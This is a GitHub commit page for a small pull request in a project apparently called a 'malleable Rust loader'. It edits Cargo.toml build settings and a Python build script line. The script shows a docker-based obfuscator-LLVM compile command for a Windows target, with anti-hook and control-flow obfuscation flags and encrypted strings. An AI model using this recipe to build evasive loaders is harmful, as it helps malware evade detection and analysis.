Merge pull request #17 from Brother-x86/dev

debug false
This commit is contained in:
Brother
2024-12-24 10:29:09 +01:00
committed by GitHub
2 changed files with 3 additions and 4 deletions
+2 -3
View File
@@ -83,7 +83,7 @@ opt-level = "z"
lto = true
codegen-units = 1
panic = "abort"
debug = false
[features]
loader = []
@@ -99,5 +99,4 @@ mem4 = []
[lib]
name = "malleable_rust_loader"
crate-type = ["rlib", "cdylib"] # Par défaut, "rlib" est suffisant
# TODO comprendre rlib cdylib
crate-type = ["rlib", "cdylib"]
+1 -1
View File
@@ -119,7 +119,7 @@ NOT ACTIVATED:
comm=f'''sudo docker run -v $(pwd):/projects/ -e LITCRYPT_ENCRYPT_KEY="$LITCRYPT_ENCRYPT_KEY" -e CARGO_TARGET_DIR=ollvm -it ghcr.io/joaovarelas/obfuscator-llvm-16.0 cargo rustc --bin "{args.bin}" --features ollvm {log_level} {memory_options} {features_loader} --target x86_64-pc-windows-gnu --release -- -Cdebuginfo=0 -Cstrip=symbols -Cpanic=abort -Copt-level=3 -Cllvm-args='-enable-acdobf -enable-antihook -enable-adb -enable-bcfobf -enable-splitobf -enable-subobf -enable-fco -enable-funcwra -enable-cffobf -enable-indibran' '''
log.info(comm)
compil_result=os.system(comm)
os.system('cp Cargo.lock Cargo.lock.ollvm')
os.system('cp -rf Cargo.lock Cargo.lock.ollvm')
os.system('mv Cargo.lock.normal Cargo.lock')
# compil_result=0 if compilation is OK